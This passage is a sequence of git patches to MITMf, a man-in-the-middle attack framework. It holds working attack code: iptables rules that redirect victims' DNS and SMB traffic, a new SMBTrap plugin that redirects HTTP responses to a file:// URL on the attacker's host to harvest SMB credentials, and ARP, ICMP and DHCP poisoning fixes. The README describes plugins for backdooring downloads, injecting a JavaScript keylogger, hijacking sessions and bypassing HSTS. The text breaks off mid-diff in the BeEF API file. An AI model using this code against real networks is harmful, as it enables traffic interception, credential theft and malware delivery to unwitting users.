__init__(self): - self.dns = False - self.http = False + self.dns = False + self.http = False + self.smb = False @staticmethod def getInstance(): @@ -90,11 +91,16 @@ class IpTables: os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True - def DNS(self, ip, port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}:{}".format(ip, port)) - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + def DNS(self, dns_redir_port): + mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True + def SMB(self, smb_redir_port): + mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) + self.smb = True + class Banners: banner1 = """ diff --git a/mitmf.py b/mitmf.py index af53f6f..efa0f8d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -179,12 +179,12 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server from core.servers.http.HTTPServer import HTTPServer HTTPServer.getInstance().start() -print "|_ HTTPserver online" +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) -SMBserver().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +SMBserver.getInstance().start() #start the reactor reactor.run() diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 157c1d5..aba0d5d 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -17,7 +17,7 @@ class SMBTrap(Plugin): self.ourip = SystemConfig.getIP(options.interface) def serverResponseStatus(self, request, version, code, message): - return (version, 302, "Found") + return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 2acda8c..b346b35 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,6 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef @@ -37,11 +36,10 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables - ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 02fcda9..b4fd9ca 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): #Makes scapy more verbose debug = False if options.log_level == 'debug': - debug = True + debug = False if options.arp: @@ -98,9 +98,7 @@ class Spoof(Plugin): if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - - DNSChef.getInstance().loadRecords(self.dnscfg) + IpTables.getInstance().DNS(self.dnscfg['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") @@ -108,7 +106,6 @@ class Spoof(Plugin): SystemConfig.setIpForwarding(1) if not options.manualiptables: - IpTables.getInstance().Flush() if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) diff --git a/plugins/TestPlugin.py b/plugins/TestPlugin.py index 4fd212c..d3b0806 100644 --- a/plugins/TestPlugin.py +++ b/plugins/TestPlugin.py @@ -1,6 +1,5 @@ from plugins.plugin import Plugin -from core.servers.http.HTTPServer import HTTPServer -import tornado.web +from core.servers.http.HTTPServer import HTTPServer, HTTPHandler class TestPlugin(Plugin): name = "testplugin" @@ -10,9 +9,8 @@ class TestPlugin(Plugin): has_opts = False def initialize(self, options): - HTTPServer.getInstance().addHandler(r"/test/(.*)", MainHandler) + HTTPServer.getInstance().addHandler(r"/test/.*", WebServer) -class MainHandler(tornado.web.RequestHandler): +class WebServer(HTTPHandler): def get(self): - print self.request - self.write("Hello World!") + self.write("It works MOFO!") \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 1d9b82b..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -46,7 +46,7 @@ class Plugin(ConfigWatcher, object): ''' Handles server response HTTP version, code and message ''' - return (version, code, message) + return {"request": request, "version": version, "code": code, "message": message} def serverResponse(self, response, request, data): ''' From 61d602c5f0e178001e65d011ec861f453a793423 Mon Sep 17 00:00:00 2001 From: Dillon Korman Date: Sun, 31 May 2015 12:11:12 -1000 Subject: [PATCH 046/181] Cleaned up readme Various improvements with grammar and style. --- README.md | 60 +++++++++++++++++++++++++++---------------------------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/README.md b/README.md index 3a43c32..49dd3e8 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ MITMf V0.9.7 Framework for Man-In-The-Middle attacks -Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it +Quick tutorials, examples and developer updates at: http://sign0f4.blogspot.it This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. @@ -12,25 +12,25 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com -**Before submitting issues please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins ================= -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a client's browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on clients OS or browser type -- ```AppCachePoison``` - Perform App cache poisoning attacks +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks - ```Ferret-NG``` - Transperently hijacks sessions - ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients - ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables being sent over HTTP using the Backdoor Factory and BDFProxy +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy - ```Inject``` - Inject arbitrary content into HTML content - ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a javascript keylogger into clients webpages +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages - ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response auth attempts +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees Changelog @@ -40,50 +40,50 @@ Changelog - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports java, flash and browser exploits +- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a clients browser at regular intervals +- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos + FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing! +- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing -- Usage of third party tools has been completely removed (e.g. ettercap) +- Usage of third party tools has been completely removed (e.g. Ettercap) - ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploits rpc server +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) How to install on Kali ====================== ```apt-get install mitmf``` -**Currently Kali has a very old version of MITMf in it's repos, read the [Installation](#installation) section to get the latest version** +**Currently Kali has a very old version of MITMf in its repos, read the [Installation](#installation) section to get the latest version** Installation ============ -If MITMf is not in your distros repo or you just want the latest version: -- Clone this repository +If MITMf is not in your distro's repo or you just want the latest version: +- Run the command ```git clone https://github.com/byt3bl33d3r/MITMf.git``` to clone this directory - Run the ```setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all python dependencies +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies -On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. +On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap```, run ```apt-get install python-pypcap``` to fix it Submitting Issues ================= @@ -91,13 +91,13 @@ If you have *questions* regarding the framework please email me at byt3bl33d3r@g **Only submit issues if you find a bug in the latest version of the framework.** -When inevitably you do come across sed *bug*, please open an issue and include at least the following in the description: +When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: - Full command string you used -- OS your using -- Full error traceback (If any) +- OS you're using +- Full error traceback, if any -Also remember: Github markdown is your friend! +Also, remember that Github markdown is your friend! FAQ === @@ -105,10 +105,10 @@ FAQ - No - **Is OSX supported?** -- Currently no, although with some tweaking (which I'll probably get around to in the near future) it should be able to run perfectly on OSX +- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX. - **I can't install package X because of an error!** -- Try installing the package via ```pip``` or your distros package manager. This *isn't* a problem with MITMf. +- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. - **How do I install package X?** - Please read the [installation](#installation) guide. @@ -117,4 +117,4 @@ FAQ - Please read the [installation](#installation) guide. - **Dude, no documentation/video tutorials?** -- Currently no, once the framework hits 1.0 I'll probably start writing/making some. +- Currently no but once the framework hits 1.0, I'll probably start writing/making some. From 4de7d3e67e59b4d2380378571b9163029bec864e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 2 Jun 2015 18:53:30 +0200 Subject: [PATCH 047/181] fixed a wrong var --- config/mitmf.conf | 2 +- plugins/BeefAutorun.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 48b60f7..88308a5 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -24,7 +24,7 @@ # port = 445 - type = karma # Can be set to Normal or Karma + type = normal # Can be set to Normal or Karma # Set a custom challenge Challenge = 1122334455667788 diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 0f4bad9..6847217 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -43,7 +43,7 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) self.onConfigChange() def onConfigChange(self): From c2354b9b6340f733012e184bbb442ede1ecb5184 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 2 Jun 2015 23:54:33 +0200 Subject: [PATCH 048/181] Merged the SMBTrap plugin to master and relative code changes --- README.md | 3 +++ core/sslstrip/ServerConnection.py | 14 +++++++++++++- plugins/SMBTrap.py | 24 ++++++++++++++++++++++++ plugins/plugin.py | 7 +++++++ 4 files changed, 47 insertions(+), 1 deletion(-) create mode 100644 plugins/SMBTrap.py diff --git a/README.md b/README.md index 3a43c32..c09f4b7 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ Contact me at: Available plugins ================= +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients - ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner - ```SSLstrip+``` - Partially bypass HSTS @@ -36,6 +37,8 @@ Available plugins Changelog ========= +- Added the ```SMBTrap``` plugin + - Config file now updates on the fly! - ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 74868f4..8e9525c 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -72,7 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + + if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): + mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + else: + mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) + except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) @@ -120,6 +125,13 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): + + values = self.plugins.hook() + + version = values['version'] + code = values['code'] + message = values['message'] + mitmf_logger.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py new file mode 100644 index 0000000..aba0d5d --- /dev/null +++ b/plugins/SMBTrap.py @@ -0,0 +1,24 @@ +import logging +import random +import string +from plugins.plugin import Plugin +from core.utils import SystemConfig + +mitmf_logger = logging.getLogger("mitmf") + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + has_opts = False + + def initialize(self, options): + self.ourip = SystemConfig.getIP(options.interface) + + def serverResponseStatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def serverHeaders(self, response, request): + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/plugin.py b/plugins/plugin.py index 0d5a324..053adc4 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -12,6 +12,7 @@ class Plugin(ConfigWatcher, object): optname = "generic" tree_info = list() desc = "" + version = "0.0" has_opts = False def initialize(self, options): @@ -41,6 +42,12 @@ class Plugin(ConfigWatcher, object): ''' pass + def serverResponseStatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return {"request": request, "version": version, "code": code, "message": message} + def serverResponse(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) From b0fa2e010d44b18063f0827c674a93519db28948 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 3 Jun 2015 01:44:12 +0200 Subject: [PATCH 049/181] fixed #108 --- plugins/FilePwn.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 2d40f54..b6dd919 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -590,7 +590,7 @@ class FilePwn(Plugin): if self.bytes_have_format(data, 'zip'): mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) - process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) + process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) process.daemon = True process.start() #process.join() From ffdb4ff55ca8341103e0a9f13b0548cf3621f50f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 5 Jun 2015 21:06:20 +0200 Subject: [PATCH 050/181] fixed DHCP and ICMP spoofing calling wrong vars --- plugins/Spoof.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 24b4f78..b35b2ef 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -77,7 +77,7 @@ class Spoof(Plugin): if not options.targets: shutdown("[-] --icmp argument requires --targets") - icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) + icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip) icmp.debug = debug self.protocolInstances.append(icmp) @@ -87,7 +87,7 @@ class Spoof(Plugin): if options.targets: shutdown("[-] --targets argument invalid when DCHP spoofing") - dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac) dhcp.shellshock = options.shellshock dhcp.debug = debug self.protocolInstances.append(dhcp) From d56ce5447e6ebf2029acbff96a03c8c96fc29786 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 6 Jun 2015 14:20:54 +0200 Subject: [PATCH 051/181] This commit should resolve issues #106 and #109 Issue #106 was caused by a 'None' value being returned when BeEF was unable to detect the hooked browser's OS Issue #109 was probably caused by locked resources when send() and sendp() where being called, adding in sleep() seems to have resolved the issue (at least on my machine) --- core/protocols/arp/ARPpoisoner.py | 5 +++-- plugins/BeefAutorun.py | 33 ++++++++++++++++--------------- plugins/Spoof.py | 2 +- 3 files changed, 21 insertions(+), 19 deletions(-) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 4b8858c..4e4ee55 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -14,7 +14,6 @@ class ARPpoisoner(): self.gatewaymac = getmacbyip(gateway) self.mymac = mac self.targets = self.getTargetRange(targets) - self.targetmac = None self.interface = interface self.arpmode = 'rep' self.debug = False @@ -48,7 +47,6 @@ class ARPpoisoner(): mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets)) - mitmf_logger.debug("[ARPpoisoner] targetmac => {}".format(self.targetmac)) mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac)) mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface)) mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode)) @@ -92,6 +90,7 @@ class ARPpoisoner(): elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) except Exception, e: @@ -117,6 +116,7 @@ class ARPpoisoner(): elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) except Exception, e: @@ -142,6 +142,7 @@ class ARPpoisoner(): mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + sleep(0.3) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) except Exception, e: diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 6847217..c77fcb9 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -106,20 +106,21 @@ class BeefAutorun(Inject, Plugin): mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) for os in targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) + if (hook_browser is not None) and (hook_os is not None): + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + if (os in hook_os) or (os == hook_os): + browsers = targeted_modules[os] + if len(browsers) > 0: + for browser in browsers: + if browser == hook_browser: + modules = targeted_modules[os][browser] + if len(modules) > 0: + for module, options in modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) + else: + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + sleep(0.5) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index b35b2ef..52d9e74 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -40,7 +40,7 @@ class Spoof(Plugin): self.dnscfg = self.config['MITMf']['DNS'] self.dhcpcfg = self.config['Spoof']['DHCP'] self.targets = options.targets - self.arpmode = 'rep' or options.arpmode + self.arpmode = options.arpmode or 'rep' self.manualiptables = options.manualiptables self.mymac = SystemConfig.getMAC(options.interface) self.myip = SystemConfig.getIP(options.interface) From 7110238fb2e3a79f1e73cf4c027267767f8ab14b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 6 Jun 2015 19:26:23 +0200 Subject: [PATCH 052/181] This adds in error handling to avoid the 'Interrupted system call' error described in #109 *Note: this doesn't actually fix the problem --- core/protocols/arp/ARPpoisoner.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py index 4e4ee55..668ce48 100644 --- a/core/protocols/arp/ARPpoisoner.py +++ b/core/protocols/arp/ARPpoisoner.py @@ -93,8 +93,9 @@ class ARPpoisoner(): sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass sleep(self.interval) @@ -119,10 +120,11 @@ class ARPpoisoner(): sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass - + sleep(self.interval) def restoreNet(self, count): @@ -145,6 +147,7 @@ class ARPpoisoner(): sleep(0.3) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while restoring connection {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass From 316246e3cc7c74d20d1f5651915fc6a62f9be9f3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 04:13:55 +0200 Subject: [PATCH 053/181] Re-Wrote Beef-api, refactored the beefAutorun plugin as per #113, this also should address any problems left over from #106 --- config/mitmf.conf | 3 +- core/beefapi.py | 418 ++++++++++++++++++++++++++------------- core/msfrpc.py | 4 +- mitmf.py | 7 +- plugins/BeefAutorun.py | 102 +++++----- plugins/BrowserSniper.py | 2 +- plugins/plugin.py | 4 - 7 files changed, 339 insertions(+), 201 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..d8bbaab 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,8 +21,9 @@ msfport = 8080 #Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 + rpcport = 55552 rpcpass = abc123 - + [[SMB]] # diff --git a/core/beefapi.py b/core/beefapi.py index e8d2ec3..b020153 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -1,26 +1,41 @@ -#!/usr/bin/env python +#! /usr/bin/env python2.7 + +# BeEF-API - A Python API for BeEF (The Browser Exploitation Framework) http://beefproject.com/ + +# Copyright (c) 2015-2016 Marcello Salvati - byt3bl33d3r@gmail.com +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import requests import json import logging -from random import sample -from string import lowercase, digits + +from UserList import UserList logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message class BeefAPI: def __init__(self, opts=[]): - self.host = "127.0.0.1" or opts.get(host) - self.port = "3000" or opts.get(port) + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" self.token = None - self.url = "http://%s:%s/api/" % (self.host, self.port) + self.url = "http://{}:{}/api/".format(self.host, self.port) self.login_url = self.url + "admin/login" - self.hookurl = self.url + "hooks?token=" - self.mod_url = self.url + "modules?token=" - self.log_url = self.url + "logs?token=" - - def random_url(self): - return "".join(sample(digits + lowercase, 8)) def login(self, username, password): try: @@ -30,142 +45,269 @@ class BeefAPI: if (r.status_code == 200) and (data["success"]): self.token = data["token"] #Auth token + + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) + return True elif r.status_code != 200: return False - except Exception, e: - print "beefapi ERROR: %s" % e + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) - def sessions_online(self): - return self.get_sessions("online", "session") + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) - def sessions_offline(self): - return 